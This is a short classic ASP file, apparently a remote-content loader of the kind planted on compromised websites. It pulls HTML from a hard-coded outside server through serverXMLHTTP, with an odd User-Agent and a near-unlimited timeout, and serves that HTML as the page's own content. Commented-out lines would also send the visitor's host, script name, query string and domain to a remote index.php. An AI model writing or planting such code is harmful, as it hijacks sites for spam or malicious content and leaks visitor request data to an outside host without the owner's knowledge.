<%
server.Scripttimeout=999999
TD_server="http://www.baidu.com/"
'host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")
'Remote_file = TD_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name")
'Content_mb=GetHtml(Remote_file)
Content_mb=GetHtml(TD_server)
response.write Content_mb
%>
<%
Function GetHtml(url)
  Set ObjXMLHTTP=Server.createObject("MSXML2.serverXMLHTTP")
  ObjXMLHTTP.Open "GET",url,False
  ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"
  ObjXMLHTTP.send
  GetHtml=ObjXMLHTTP.responseBody
  Set ObjXMLHTTP=Nothing
  set objStream = Server.createObject("Adodb.Stream")
  objStream.Type = 1
  objStream.Mode =3
  objStream.Open
  objStream.Write GetHtml
  objStream.Position = 0
  objStream.Type = 2
  objStream.Charset = "gb2312"
  GetHtml = objStream.ReadText
  objStream.Close
End Function
%>